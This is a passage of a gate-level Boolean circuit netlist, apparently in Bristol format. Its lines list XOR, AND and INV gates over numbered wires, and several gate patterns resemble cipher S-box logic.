+2 1 31706 33955 31665 XOR +2 1 33950 31665 31795 XOR +2 1 31791 31789 31782 AND +2 1 31776 31782 31727 XOR +2 1 31795 33950 31781 AND +2 1 31796 31792 31779 AND +2 1 31793 31786 31778 AND +2 1 31798 31787 31777 AND +2 1 31777 31705 31707 XOR +2 1 31709 31707 31713 XOR +2 1 33957 31713 31718 XOR +2 1 31727 31718 31774 XOR +2 1 31776 31777 31679 XOR +2 1 31679 31680 31726 XOR +2 1 31726 31708 31725 XOR +2 1 31779 31725 31773 XOR +2 1 31797 31788 31775 AND +2 1 31775 31778 31728 XOR +2 1 31775 31781 31732 XOR +2 1 31732 31704 31719 XOR +2 1 31727 31719 31771 XOR +2 1 31776 31728 31722 XOR +2 1 31708 31728 31682 XOR +2 1 31682 31707 31772 XOR +2 1 31713 31732 31681 XOR +2 1 33955 31681 31724 XOR +2 1 31779 31722 31678 XOR +2 1 33951 31678 31766 XOR +2 1 31774 31773 31770 AND +2 1 31770 31724 31765 XOR +2 1 31770 31772 31769 XOR +2 1 31771 31769 31768 AND +2 1 31768 31724 31767 XOR +2 1 31768 31780 31673 XOR +2 1 31673 31709 31669 XOR +2 1 33957 31669 31672 XOR +2 1 31768 31718 31670 XOR +2 1 33955 31669 31668 XOR +2 1 31765 31766 31764 AND +2 1 31764 31772 31763 XOR +2 1 31770 31764 31762 XOR +2 1 31764 31722 31677 XOR +2 1 31764 31781 31676 XOR +2 1 31676 31778 31671 XOR +2 1 31671 31672 31755 XOR +2 1 31772 31762 31761 AND +2 1 31761 31769 31759 XOR +2 1 31761 31779 31731 XOR +2 1 31731 31725 31753 XOR +2 1 33951 31731 31714 XOR +2 1 31714 31677 31760 XOR +2 1 31767 31759 31758 AND +2 1 31758 31727 31717 XOR +2 1 31717 31719 31757 XOR +2 1 31758 31782 31675 XOR +2 1 31714 31675 31667 XOR +2 1 31704 31667 31674 XOR +2 1 31671 31674 31756 XOR +2 1 31717 31670 31754 XOR +2 1 31667 31668 31752 XOR +2 1 31753 31790 31751 AND +2 1 31760 31789 31750 AND +2 1 31763 33950 31749 AND +2 1 31749 31751 31730 XOR +2 1 31754 31784 31748 AND +2 1 31757 31796 31747 AND +2 1 31747 31748 31733 XOR +2 1 31767 31786 31746 AND +2 1 31746 31747 31684 XOR +2 1 31755 31787 31745 AND +2 1 31752 31785 31744 AND +2 1 31744 31733 31723 XOR +2 1 31744 31747 31699 XOR +1 1 31699 31696 INV +2 1 31744 31745 31695 XOR +2 1 31745 31723 31683 XOR +2 1 31756 31788 31743 AND +2 1 31753 31794 31742 AND +2 1 31760 31791 31741 AND +2 1 31763 31795 31740 AND +2 1 31740 31723 31689 XOR +1 1 31689 31686 INV +2 1 31754 31799 31739 AND +2 1 31739 31743 31715 XOR +2 1 31748 31739 31700 XOR +1 1 31715 31693 INV +2 1 31757 31792 31738 AND +2 1 31746 31738 31702 XOR +2 1 31767 31793 31737 AND +2 1 31693 31737 31692 XOR +2 1 31692 31730 31688 XOR +2 1 31755 31798 31736 AND +2 1 31736 31688 31691 XOR +2 1 31752 31800 31735 AND +2 1 31735 31736 31729 XOR +2 1 31741 31729 31711 XOR +2 1 31742 31711 31712 XOR +2 1 31750 31712 31716 XOR +2 1 31751 31716 31721 XOR +2 1 31733 31721 35830 XOR +2 1 31702 31729 31698 XOR +2 1 31730 31698 31701 XOR +2 1 31700 31701 31804 XOR +2 1 31693 31698 31697 XOR +2 1 31696 31697 31803 XOR +2 1 31721 31695 31802 XOR +2 1 31711 31688 31687 XOR +2 1 31686 31687 35828 XOR +2 1 31749 31716 31685 XOR +2 1 31684 31685 35829 XOR +2 1 31712 31683 35831 XOR +2 1 31756 31797 31734 AND +2 1 31745 31734 31694 XOR +1 1 31694 31690 INV +2 1 31690 31691 31801 XOR +2 1 35552 681 33980 XOR +2 1 33978 33980 30726 XOR +2 1 30726 33979 30685 XOR +1 1 22991 33022 INV +2 1 32801 33022 8194 XOR +2 1 8194 8128 7951 XOR +2 1 32866 7951 35554 XOR +2 1 35554 679 33982 XOR +2 1 33022 7991 35530 XOR +2 1 8194 8135 7962 XOR +2 1 33106 7962 35546 XOR +2 1 35530 703 33958 XOR +2 1 33958 24233 24232 XOR +2 1 33958 33964 24153 XOR +2 1 24153 24148 24229 XOR +2 1 24147 24153 24236 XOR +2 1 24163 24236 24234 XOR +2 1 33963 24153 24239 XOR +2 1 33959 24239 24235 XOR +2 1 33958 24108 24238 XOR +2 1 24234 24232 24225 AND +2 1 24219 24225 24170 XOR +2 1 24170 24161 24217 XOR +2 1 24238 33958 24224 AND +2 1 24218 24224 24175 XOR +2 1 24175 24147 24162 XOR +2 1 24170 24162 24214 XOR +2 1 24156 24175 24124 XOR +2 1 33963 24124 24167 XOR +2 1 24239 24235 24222 AND +2 1 24222 24168 24216 XOR +2 1 24236 24229 24221 AND +2 1 24218 24221 24171 XOR +2 1 24219 24171 24165 XOR +2 1 24151 24171 24125 XOR +2 1 24125 24150 24215 XOR +2 1 24222 24165 24121 XOR +2 1 33959 24121 24209 XOR +2 1 24217 24216 24213 AND +2 1 24213 24167 24208 XOR +2 1 24213 24215 24212 XOR +2 1 24214 24212 24211 AND +2 1 24211 24167 24210 XOR +2 1 24211 24223 24116 XOR +2 1 24116 24152 24112 XOR +2 1 33965 24112 24115 XOR +2 1 24211 24161 24113 XOR +2 1 33963 24112 24111 XOR +2 1 24208 24209 24207 AND +2 1 24207 24215 24206 XOR +2 1 24213 24207 24205 XOR +2 1 24207 24165 24120 XOR +2 1 24207 24224 24119 XOR +2 1 24119 24221 24114 XOR +2 1 24114 24115 24198 XOR +2 1 24215 24205 24204 AND +2 1 24204 24212 24202 XOR +2 1 24204 24222 24174 XOR +2 1 24174 24168 24196 XOR +2 1 33959 24174 24157 XOR +2 1 24157 24120 24203 XOR +2 1 24210 24202 24201 AND +2 1 24201 24170 24160 XOR +2 1 24160 24162 24200 XOR +2 1 24201 24225 24118 XOR +2 1 24157 24118 24110 XOR +2 1 24147 24110 24117 XOR +2 1 24114 24117 24199 XOR +2 1 24160 24113 24197 XOR +2 1 24110 24111 24195 XOR +2 1 24196 24233 24194 AND +2 1 24203 24232 24193 AND +2 1 24206 33958 24192 AND +2 1 24192 24194 24173 XOR +2 1 24197 24227 24191 AND +2 1 24200 24239 24190 AND +2 1 24190 24191 24176 XOR +2 1 24210 24229 24189 AND +2 1 24189 24190 24127 XOR +2 1 24198 24230 24188 AND +2 1 24195 24228 24187 AND +2 1 24187 24176 24166 XOR +2 1 24187 24190 24142 XOR +1 1 24142 24139 INV +2 1 24187 24188 24138 XOR +2 1 24188 24166 24126 XOR +2 1 24199 24231 24186 AND +2 1 24196 24237 24185 AND +2 1 24203 24234 24184 AND +2 1 24206 24238 24183 AND +2 1 24183 24166 24132 XOR +1 1 24132 24129 INV +2 1 24197 24242 24182 AND +2 1 24182 24186 24158 XOR +2 1 24191 24182 24143 XOR +1 1 24158 24136 INV +2 1 24200 24235 24181 AND +2 1 24189 24181 24145 XOR +2 1 24210 24236 24180 AND +2 1 24136 24180 24135 XOR +2 1 24135 24173 24131 XOR +2 1 24198 24241 24179 AND +2 1 24179 24131 24134 XOR +2 1 24195 24243 24178 AND +2 1 24178 24179 24172 XOR +2 1 24184 24172 24154 XOR +2 1 24185 24154 24155 XOR +2 1 24193 24155 24159 XOR +2 1 24194 24159 24164 XOR +2 1 24176 24164 35817 XOR +2 1 24145 24172 24141 XOR +2 1 24173 24141 24144 XOR +2 1 24143 24144 24247 XOR +2 1 24136 24141 24140 XOR +2 1 24139 24140 24246 XOR +2 1 24164 24138 24245 XOR +2 1 24154 24131 24130 XOR +2 1 24129 24130 35815 XOR +2 1 24192 24159 24128 XOR +2 1 24127 24128 35816 XOR +2 1 24155 24126 35818 XOR +2 1 24199 24240 24177 AND +2 1 24188 24177 24137 XOR +1 1 24137 24133 INV +2 1 24133 24134 24244 XOR +2 1 35818 35831 8907 XOR +1 1 8907 8650 INV +2 1 35546 687 33974 XOR +2 1 33974 33980 30730 XOR +2 1 33979 30730 30816 XOR +2 1 33974 30685 30815 XOR +2 1 30815 33974 30801 AND +2 1 33982 33988 31570 XOR +2 1 31564 31570 31653 XOR +2 1 33987 31570 31656 XOR +2 1 8650 35828 8651 XOR +2 1 8907 35829 8654 XOR +2 1 8194 8182 7974 XOR +2 1 32866 33022 7910 XOR +2 1 7909 7910 8207 XOR +2 1 8207 8193 35547 XOR +2 1 35547 686 33975 XOR +2 1 33975 33977 30723 XOR +2 1 33976 30723 30725 XOR +2 1 33980 30725 30807 XOR +2 1 33979 30725 30804 XOR +2 1 30730 30725 30806 XOR +2 1 33975 30816 30812 XOR +2 1 33975 33976 30740 XOR +2 1 30816 30812 30799 AND +1 1 24245 33045 INV +2 1 35818 33045 8787 XOR +1 1 24246 33046 INV +1 1 24247 33047 INV +1 1 24244 33052 INV +1 1 30963 33189 INV +1 1 30964 33190 INV +1 1 31103 33193 INV +2 1 33193 33177 8691 XOR +2 1 8690 8691 8969 XOR +2 1 33193 8694 8875 XOR +2 1 33193 32809 8963 XOR +1 1 31104 33194 INV +2 1 30543 33194 8686 XOR +2 1 33194 32810 8964 XOR +1 1 30961 33195 INV +1 1 30962 33196 INV +1 1 31101 33199 INV +2 1 8945 33199 8750 XOR +1 1 31102 33200 INV +2 1 8695 33200 8730 XOR +1 1 31803 33213 INV +1 1 31804 33214 INV +2 1 8650 33214 8648 XOR +1 1 31801 33219 INV +2 1 33219 33052 8807 XOR +1 1 31802 33220 INV +2 1 33045 33220 8916 XOR +1 1 8131 33232 INV +2 1 33232 35632 7971 XOR +2 1 33232 35649 7952 XOR +2 1 7952 7953 35553 XOR +2 1 33232 32800 7975 XOR +2 1 35553 680 33981 XOR +2 1 33979 33981 30724 XOR +2 1 30724 30820 30805 XOR +2 1 33978 33981 30818 XOR +2 1 30818 30740 30814 XOR +2 1 30724 30730 30813 XOR +2 1 30740 30813 30811 XOR +2 1 30723 30818 30810 XOR +2 1 33974 30810 30809 XOR +2 1 30726 30724 30686 XOR +2 1 30723 30686 30808 XOR +2 1 33981 33975 30819 XOR +2 1 33981 33976 30817 XOR +2 1 30810 30814 30803 AND +2 1 30803 30726 30729 XOR +2 1 30811 30809 30802 AND +2 1 30819 30804 30800 AND +2 1 30800 30724 30728 XOR +2 1 30813 30806 30798 AND +2 1 30818 30807 30797 AND +2 1 30797 30725 30727 XOR +2 1 30729 30727 30733 XOR +2 1 33981 30733 30738 XOR +2 1 30820 30805 30796 AND +2 1 30796 30802 30747 XOR +2 1 30747 30738 30794 XOR +2 1 30796 30797 30699 XOR +2 1 30699 30700 30746 XOR +2 1 30746 30728 30745 XOR +2 1 30799 30745 30793 XOR +2 1 30817 30808 30795 AND +2 1 30795 30798 30748 XOR +2 1 30795 30801 30752 XOR +2 1 30752 30724 30739 XOR +2 1 30747 30739 30791 XOR +2 1 30796 30748 30742 XOR +2 1 30728 30748 30702 XOR +2 1 30702 30727 30792 XOR +2 1 30733 30752 30701 XOR +2 1 33979 30701 30744 XOR +2 1 30799 30742 30698 XOR +2 1 33975 30698 30786 XOR +2 1 30794 30793 30790 AND +2 1 30790 30744 30785 XOR +2 1 30790 30792 30789 XOR +2 1 30791 30789 30788 AND +2 1 30788 30744 30787 XOR +2 1 30788 30800 30693 XOR +2 1 30693 30729 30689 XOR +2 1 33981 30689 30692 XOR +2 1 30788 30738 30690 XOR +2 1 33979 30689 30688 XOR +2 1 30785 30786 30784 AND +2 1 30784 30792 30783 XOR +2 1 30790 30784 30782 XOR +2 1 30784 30742 30697 XOR +2 1 30784 30801 30696 XOR +2 1 30696 30798 30691 XOR +2 1 30691 30692 30775 XOR +2 1 30792 30782 30781 AND +2 1 30781 30789 30779 XOR +2 1 30781 30799 30751 XOR +2 1 30751 30745 30773 XOR +2 1 33975 30751 30734 XOR +2 1 30734 30697 30780 XOR +2 1 30787 30779 30778 AND +2 1 30778 30747 30737 XOR +2 1 30737 30739 30777 XOR +2 1 30778 30802 30695 XOR +2 1 30734 30695 30687 XOR +2 1 30724 30687 30694 XOR +2 1 30691 30694 30776 XOR +2 1 30737 30690 30774 XOR +2 1 30687 30688 30772 XOR +2 1 30773 30810 30771 AND +2 1 30780 30809 30770 AND +2 1 30783 33974 30769 AND +2 1 30769 30771 30750 XOR +2 1 30774 30804 30768 AND +2 1 30777 30816 30767 AND +2 1 30767 30768 30753 XOR +2 1 30787 30806 30766 AND +2 1 30766 30767 30704 XOR +2 1 30775 30807 30765 AND +2 1 30772 30805 30764 AND +2 1 30764 30753 30743 XOR +2 1 30764 30767 30719 XOR +1 1 30719 30716 INV +2 1 30764 30765 30715 XOR +2 1 30765 30743 30703 XOR +2 1 30776 30808 30763 AND +2 1 30773 30814 30762 AND +2 1 30780 30811 30761 AND +2 1 30783 30815 30760 AND +2 1 30760 30743 30709 XOR +1 1 30709 30706 INV +2 1 30774 30819 30759 AND +2 1 30759 30763 30735 XOR +2 1 30768 30759 30720 XOR +1 1 30735 30713 INV +2 1 30777 30812 30758 AND +2 1 30766 30758 30722 XOR +2 1 30787 30813 30757 AND +2 1 30713 30757 30712 XOR +2 1 30712 30750 30708 XOR +2 1 30775 30818 30756 AND +2 1 30756 30708 30711 XOR +2 1 30772 30820 30755 AND +2 1 30755 30756 30749 XOR +2 1 30761 30749 30731 XOR +2 1 30762 30731 30732 XOR +2 1 30770 30732 30736 XOR +2 1 30771 30736 30741 XOR +2 1 30753 30741 35862 XOR +2 1 8929 35862 8863 XOR +2 1 35862 35866 8911 XOR +2 1 8920 8911 8891 XOR +2 1 30722 30749 30718 XOR +2 1 30750 30718 30721 XOR +2 1 30720 30721 30824 XOR +2 1 30713 30718 30717 XOR +2 1 30716 30717 30823 XOR +2 1 30741 30715 30822 XOR +2 1 30731 30708 30707 XOR +2 1 30706 30707 35860 XOR +2 1 30769 30736 30705 XOR +2 1 30704 30705 35861 XOR +2 1 35862 35861 8700 XOR +2 1 30732 30703 35863 XOR +2 1 30776 30817 30754 AND +2 1 30765 30754 30714 XOR +1 1 30714 30710 INV +2 1 30710 30711 30821 XOR +2 1 35863 35867 8894 XOR +2 1 8894 35865 8699 XOR +2 1 8699 8700 8966 XOR +2 1 35860 35864 8912 XOR +2 1 8912 32807 8701 XOR +1 1 8894 8854 INV +2 1 8854 35852 8853 XOR +2 1 8854 33212 8885 XOR +2 1 7974 7975 7973 XOR +1 1 7973 35539 INV +2 1 35539 694 33967 XOR +2 1 33967 28856 28852 XOR +2 1 33967 33968 28780 XOR +2 1 28780 28853 28851 XOR +2 1 33973 33967 28859 XOR +2 1 28856 28852 28839 AND +2 1 7970 7971 35541 XOR +2 1 35541 692 33969 XOR +2 1 33967 33969 28763 XOR +2 1 33968 28763 28765 XOR +2 1 33972 28765 28847 XOR +2 1 33971 28765 28844 XOR +2 1 28770 28765 28846 XOR +2 1 33969 33968 28740 XOR +2 1 28859 28844 28840 AND +2 1 28840 28764 28768 XOR +2 1 28853 28846 28838 AND +2 1 33232 35633 7969 XOR +2 1 7968 7969 35542 XOR +2 1 35542 691 33970 XOR +2 1 33970 33972 28766 XOR +2 1 33970 33973 28858 XOR +2 1 28858 28780 28854 XOR +2 1 28763 28858 28850 XOR +2 1 33966 28850 28849 XOR +2 1 33968 33970 28860 XOR +2 1 28764 28860 28845 XOR +2 1 28766 28764 28726 XOR +2 1 28763 28726 28848 XOR +2 1 28766 33971 28725 XOR +2 1 33966 28725 28855 XOR +2 1 28850 28854 28843 AND +2 1 28843 28766 28769 XOR +2 1 28851 28849 28842 AND +2 1 28855 33966 28841 AND +2 1 28858 28847 28837 AND +2 1 28837 28765 28767 XOR +2 1 28769 28767 28773 XOR +2 1 33973 28773 28778 XOR +2 1 28860 28845 28836 AND +2 1 28836 28842 28787 XOR +2 1 28787 28778 28834 XOR +2 1 28836 28837 28739 XOR +2 1 28739 28740 28786 XOR +2 1 28786 28768 28785 XOR +2 1 28839 28785 28833 XOR +2 1 28857 28848 28835 AND +2 1 28835 28838 28788 XOR +2 1 28835 28841 28792 XOR +2 1 28792 28764 28779 XOR +2 1 28787 28779 28831 XOR +2 1 28836 28788 28782 XOR +2 1 28768 28788 28742 XOR +2 1 28742 28767 28832 XOR +2 1 28773 28792 28741 XOR +2 1 33971 28741 28784 XOR +2 1 28839 28782 28738 XOR +2 1 33967 28738 28826 XOR +2 1 28834 28833 28830 AND +2 1 28830 28784 28825 XOR +2 1 28830 28832 28829 XOR +2 1 28831 28829 28828 AND +2 1 28828 28784 28827 XOR +2 1 28828 28840 28733 XOR +2 1 28733 28769 28729 XOR +2 1 33973 28729 28732 XOR +2 1 28828 28778 28730 XOR +2 1 33971 28729 28728 XOR +2 1 28825 28826 28824 AND +2 1 28824 28832 28823 XOR +2 1 28830 28824 28822 XOR +2 1 28824 28782 28737 XOR +2 1 28824 28841 28736 XOR +2 1 28736 28838 28731 XOR +2 1 28731 28732 28815 XOR +2 1 28832 28822 28821 AND +2 1 28821 28829 28819 XOR +2 1 28821 28839 28791 XOR +2 1 28791 28785 28813 XOR +2 1 33967 28791 28774 XOR +2 1 28774 28737 28820 XOR +2 1 28827 28819 28818 AND +2 1 28818 28787 28777 XOR +2 1 28777 28779 28817 XOR +2 1 28818 28842 28735 XOR +2 1 28774 28735 28727 XOR +2 1 28764 28727 28734 XOR +2 1 28731 28734 28816 XOR +2 1 28777 28730 28814 XOR +2 1 28727 28728 28812 XOR +2 1 28813 28850 28811 AND +2 1 28820 28849 28810 AND +2 1 28823 33966 28809 AND +2 1 28809 28811 28790 XOR +2 1 28814 28844 28808 AND +2 1 28817 28856 28807 AND +2 1 28807 28808 28793 XOR +2 1 28827 28846 28806 AND +2 1 28806 28807 28744 XOR +2 1 28815 28847 28805 AND +2 1 28812 28845 28804 AND +2 1 28804 28793 28783 XOR +2 1 28804 28807 28759 XOR +1 1 28759 28756 INV +2 1 28804 28805 28755 XOR +2 1 28805 28783 28743 XOR +2 1 28816 28848 28803 AND +2 1 28813 28854 28802 AND +2 1 28820 28851 28801 AND +2 1 28823 28855 28800 AND +2 1 28800 28783 28749 XOR +1 1 28749 28746 INV +2 1 28814 28859 28799 AND +2 1 28799 28803 28775 XOR +2 1 28808 28799 28760 XOR +1 1 28775 28753 INV +2 1 28817 28852 28798 AND +2 1 28806 28798 28762 XOR +2 1 28827 28853 28797 AND +2 1 28753 28797 28752 XOR +2 1 28752 28790 28748 XOR +2 1 28815 28858 28796 AND +2 1 28796 28748 28751 XOR +2 1 28812 28860 28795 AND +2 1 28795 28796 28789 XOR +2 1 28801 28789 28771 XOR +2 1 28802 28771 28772 XOR +2 1 28810 28772 28776 XOR +2 1 28811 28776 28781 XOR +2 1 28793 28781 35801 XOR +2 1 35797 35801 8956 XOR +2 1 8956 8948 8843 XOR +2 1 33199 8843 35680 XOR +2 1 35680 626 34035 XOR +2 1 28762 28789 28758 XOR +2 1 28790 28758 28761 XOR +2 1 28760 28761 28864 XOR +2 1 28753 28758 28757 XOR +2 1 28756 28757 28863 XOR +2 1 28781 28755 28862 XOR +2 1 32813 28862 8751 XOR +2 1 8750 8751 8749 XOR +1 1 8749 35673 INV +2 1 35673 633 34028 XOR +2 1 28771 28748 28747 XOR +2 1 28746 28747 35799 XOR +2 1 35795 35799 8689 XOR +2 1 35799 35806 8940 XOR +2 1 28809 28776 28745 XOR +2 1 28744 28745 35800 XOR +2 1 35796 35800 8965 XOR +2 1 35807 35800 8684 XOR +1 1 8965 8846 INV +2 1 8846 8952 8844 XOR +2 1 8968 8965 35694 XOR +2 1 35694 612 34049 XOR +2 1 28772 28743 35804 XOR +2 1 35798 35804 8901 XOR +2 1 8639 35804 8731 XOR +2 1 8730 8731 35674 XOR +2 1 35674 632 34029 XOR +2 1 8901 35796 8688 XOR +2 1 8964 8901 8714 XOR +2 1 33177 8714 35675 XOR +2 1 35675 631 34030 XOR +2 1 8688 8689 8970 XOR +1 1 8901 8687 INV +2 1 8687 35797 8845 XOR +2 1 35804 35809 8902 XOR +2 1 8902 35812 8683 XOR +2 1 8683 8684 8972 XOR +2 1 8972 8956 35687 XOR +2 1 35687 619 34042 XOR +2 1 8970 8955 35678 XOR +2 1 35678 628 34033 XOR +2 1 28816 28857 28794 AND +2 1 28805 28794 28754 XOR +1 1 28754 28750 INV +2 1 28750 28751 28861 XOR +1 1 28862 35803 INV +2 1 33200 35803 8951 XOR +2 1 8951 8900 8841 XOR +1 1 28861 35802 INV +2 1 33199 35802 8953 XOR +2 1 8953 8945 8842 XOR +2 1 33200 8842 35681 XOR +2 1 35681 625 34036 XOR +2 1 34030 34036 28490 XOR +2 1 34035 28490 28576 XOR +2 1 8953 8952 8816 XOR +2 1 33183 8816 35696 XOR +2 1 35696 610 34051 XOR +1 1 8902 8835 INV +2 1 8835 35811 8834 XOR +2 1 8963 8940 8815 XOR +2 1 35812 28861 8768 XOR +2 1 8767 8768 35672 XOR +2 1 35672 634 34027 XOR +2 1 34027 34029 24007 XOR +2 1 8951 8948 8814 XOR +2 1 33184 28862 8825 XOR +2 1 33184 8814 35697 XOR +2 1 35697 609 34052 XOR +1 1 8940 8822 INV +2 1 8822 35795 8820 XOR +2 1 35798 8841 35682 XOR +2 1 35682 624 34037 XOR +2 1 34035 34037 28484 XOR +2 1 28484 28490 28573 XOR +2 1 8951 8639 8826 XOR +2 1 33183 28861 8827 XOR +2 1 8965 8822 8833 XOR +2 1 8820 8821 35693 XOR +2 1 35693 613 34048 XOR +2 1 34049 34048 26920 XOR +2 1 8945 8901 8813 XOR +2 1 35809 8813 35698 XOR +2 1 35698 608 34053 XOR +2 1 34051 34053 26944 XOR +2 1 34053 34048 27037 XOR +2 1 8964 8902 8840 XOR +2 1 8687 35814 8824 XOR +2 1 8824 8825 35690 XOR +2 1 35690 616 34045 XOR +2 1 34042 34045 30398 XOR +2 1 35810 8815 35669 XOR +2 1 35669 637 34024 XOR +2 1 34029 34024 24100 XOR +2 1 8956 8955 8819 XOR +2 1 8833 8834 35686 XOR +2 1 35686 620 34041 XOR +1 1 8819 8817 INV +2 1 8803 35800 8802 XOR +2 1 8801 8802 35670 XOR +2 1 35670 636 34025 XOR +2 1 34025 34024 23983 XOR +2 1 8953 32813 8828 XOR +2 1 35808 35801 8829 XOR +2 1 8828 8829 35688 XOR +2 1 35688 618 34043 XOR +2 1 34043 34045 30304 XOR +2 1 8826 8827 35689 XOR +2 1 35689 617 34044 XOR +2 1 34042 34044 30306 XOR +2 1 30306 30304 30266 XOR +2 1 30306 34043 30265 XOR +2 1 8817 8818 35695 XOR +2 1 35695 611 34050 XOR +2 1 34050 34052 26946 XOR +2 1 34050 34053 27038 XOR +2 1 34048 34050 27040 XOR +2 1 26944 27040 27025 XOR +2 1 26946 26944 26906 XOR +2 1 26946 34051 26905 XOR +2 1 27040 27025 27016 AND +2 1 8844 8845 35679 XOR +2 1 35679 627 34034 XOR +2 1 34034 34036 28486 XOR +2 1 34034 34037 28578 XOR +2 1 28486 28484 28446 XOR +2 1 28486 34035 28445 XOR +2 1 34030 28445 28575 XOR +2 1 28575 34030 28561 AND +2 1 35811 35801 8647 XOR +2 1 8646 8647 8987 XOR +2 1 8987 8952 35671 XOR +2 1 35671 635 34026 XOR +2 1 34026 34028 24009 XOR +2 1 34026 34029 24101 XOR +2 1 34024 34026 24103 XOR +2 1 24007 24103 24088 XOR +2 1 24009 24007 23969 XOR +2 1 24009 34027 23968 XOR +2 1 24103 24088 24079 AND +1 1 28864 33133 INV +2 1 8687 33133 8685 XOR +2 1 8685 8686 8971 XOR +2 1 33133 33177 8941 XOR +2 1 8941 8908 8893 XOR +2 1 32810 8893 35667 XOR +2 1 35667 639 34022 XOR +2 1 34022 34028 24013 XOR +2 1 24007 24013 24096 XOR +2 1 34027 24013 24099 XOR +2 1 34022 23968 24098 XOR +2 1 24098 34022 24084 AND +2 1 8971 8963 35676 XOR +2 1 35676 630 34031 XOR +2 1 34031 34033 28483 XOR +2 1 34031 28576 28572 XOR +2 1 28483 28578 28570 XOR +2 1 34030 28570 28569 XOR +2 1 28483 28446 28568 XOR +2 1 34037 34031 28579 XOR +2 1 28576 28572 28559 AND +2 1 33133 8840 35683 XOR +2 1 35683 623 34038 XOR +2 1 34038 34044 30310 XOR +2 1 30304 30310 30393 XOR +2 1 34043 30310 30396 XOR +2 1 34038 30265 30395 XOR +2 1 30395 34038 30381 AND +2 1 8963 8941 8838 XOR +2 1 8941 8900 8823 XOR +2 1 33194 8823 35691 XOR +2 1 35691 615 34046 XOR +2 1 34046 34052 26950 XOR +2 1 26944 26950 27033 XOR +2 1 34051 26950 27036 XOR +2 1 34046 26905 27035 XOR +2 1 27035 34046 27021 AND +1 1 28863 33140 INV +2 1 8804 33140 8874 XOR +2 1 33140 35805 8942 XOR +2 1 8969 8942 35692 XOR +2 1 35692 614 34047 XOR +2 1 34047 34049 26943 XOR +2 1 34048 26943 26945 XOR +2 1 34052 26945 27027 XOR +2 1 34051 26945 27024 XOR +2 1 26950 26945 27026 XOR +2 1 34047 27036 27032 XOR +2 1 26943 27038 27030 XOR +2 1 34046 27030 27029 XOR +2 1 34047 34048 26960 XOR +2 1 26960 27033 27031 XOR +2 1 27038 26960 27034 XOR +2 1 26943 26906 27028 XOR +2 1 34053 34047 27039 XOR +2 1 27030 27034 27023 AND +2 1 27023 26946 26949 XOR +2 1 27031 27029 27022 AND +2 1 27016 27022 26967 XOR +2 1 27039 27024 27020 AND +2 1 27020 26944 26948 XOR +2 1 27036 27032 27019 AND +2 1 27033 27026 27018 AND +2 1 27038 27027 27017 AND +2 1 27017 26945 26947 XOR +2 1 26949 26947 26953 XOR +2 1 34053 26953 26958 XOR +2 1 26967 26958 27014 XOR +2 1 27016 27017 26919 XOR +2 1 26919 26920 26966 XOR +2 1 26966 26948 26965 XOR +2 1 27019 26965 27013 XOR +2 1 27037 27028 27015 AND +2 1 27015 27018 26968 XOR +2 1 27015 27021 26972 XOR +2 1 26972 26944 26959 XOR +2 1 26967 26959 27011 XOR +2 1 27016 26968 26962 XOR +2 1 26948 26968 26922 XOR +2 1 26922 26947 27012 XOR +2 1 26953 26972 26921 XOR +2 1 34051 26921 26964 XOR +2 1 27019 26962 26918 XOR +2 1 34047 26918 27006 XOR +2 1 27014 27013 27010 AND +2 1 27010 26964 27005 XOR +2 1 27010 27012 27009 XOR +2 1 27011 27009 27008 AND +2 1 27008 26964 27007 XOR +2 1 27008 27020 26913 XOR +2 1 26913 26949 26909 XOR +2 1 34053 26909 26912 XOR +2 1 27008 26958 26910 XOR +2 1 34051 26909 26908 XOR +2 1 27005 27006 27004 AND +2 1 27004 27012 27003 XOR +2 1 27010 27004 27002 XOR +2 1 27004 26962 26917 XOR +2 1 27004 27021 26916 XOR +2 1 26916 27018 26911 XOR +2 1 26911 26912 26995 XOR +2 1 27012 27002 27001 AND +2 1 27001 27009 26999 XOR +2 1 27001 27019 26971 XOR +2 1 26971 26965 26993 XOR +2 1 34047 26971 26954 XOR +2 1 26954 26917 27000 XOR +2 1 27007 26999 26998 AND +2 1 26998 26967 26957 XOR +2 1 26957 26959 26997 XOR +2 1 26998 27022 26915 XOR +2 1 26954 26915 26907 XOR +2 1 26944 26907 26914 XOR +2 1 26911 26914 26996 XOR +2 1 26957 26910 26994 XOR +2 1 26907 26908 26992 XOR +2 1 26993 27030 26991 AND +2 1 27000 27029 26990 AND +2 1 27003 34046 26989 AND +2 1 26989 26991 26970 XOR +2 1 26994 27024 26988 AND +2 1 26997 27036 26987 AND +2 1 26987 26988 26973 XOR +2 1 27007 27026 26986 AND +2 1 26986 26987 26924 XOR +2 1 26995 27027 26985 AND +2 1 26992 27025 26984 AND +2 1 26984 26973 26963 XOR +2 1 26984 26987 26939 XOR +1 1 26939 26936 INV +2 1 26984 26985 26935 XOR +2 1 26985 26963 26923 XOR +2 1 26996 27028 26983 AND +2 1 26993 27034 26982 AND +2 1 27000 27031 26981 AND +2 1 27003 27035 26980 AND +2 1 26980 26963 26929 XOR +1 1 26929 26926 INV +2 1 26994 27039 26979 AND +2 1 26979 26983 26955 XOR +2 1 26988 26979 26940 XOR +1 1 26955 26933 INV +2 1 26997 27032 26978 AND +2 1 26986 26978 26942 XOR +2 1 27007 27033 26977 AND +2 1 26933 26977 26932 XOR +2 1 26932 26970 26928 XOR +2 1 26995 27038 26976 AND +2 1 26976 26928 26931 XOR +2 1 26992 27040 26975 AND +2 1 26975 26976 26969 XOR +2 1 26981 26969 26951 XOR +2 1 26982 26951 26952 XOR +2 1 26990 26952 26956 XOR +2 1 26991 26956 26961 XOR +2 1 26973 26961 36013 XOR +2 1 26942 26969 26938 XOR +2 1 26970 26938 26941 XOR +2 1 26940 26941 27044 XOR +2 1 26933 26938 26937 XOR +2 1 26936 26937 27043 XOR +2 1 26961 26935 27042 XOR +2 1 26951 26928 26927 XOR +2 1 26926 26927 36011 XOR +2 1 26989 26956 26925 XOR +2 1 26924 26925 36012 XOR +2 1 26952 26923 36015 XOR +2 1 26996 27037 26974 AND +2 1 26985 26974 26934 XOR +1 1 26934 26930 INV +2 1 26930 26931 27041 XOR +1 1 27042 36014 INV +2 1 8874 8875 35677 XOR +2 1 35677 629 34032 XOR +2 1 34032 28483 28485 XOR +2 1 34036 28485 28567 XOR +2 1 34035 28485 28564 XOR +2 1 28490 28485 28566 XOR +2 1 34031 34032 28500 XOR +2 1 28500 28573 28571 XOR +2 1 28578 28500 28574 XOR +2 1 34032 34034 28580 XOR +2 1 28484 28580 28565 XOR +2 1 34033 34032 28460 XOR +2 1 34037 34032 28577 XOR +2 1 28570 28574 28563 AND +2 1 28563 28486 28489 XOR +2 1 28571 28569 28562 AND +2 1 28579 28564 28560 AND +2 1 28560 28484 28488 XOR +2 1 28573 28566 28558 AND +2 1 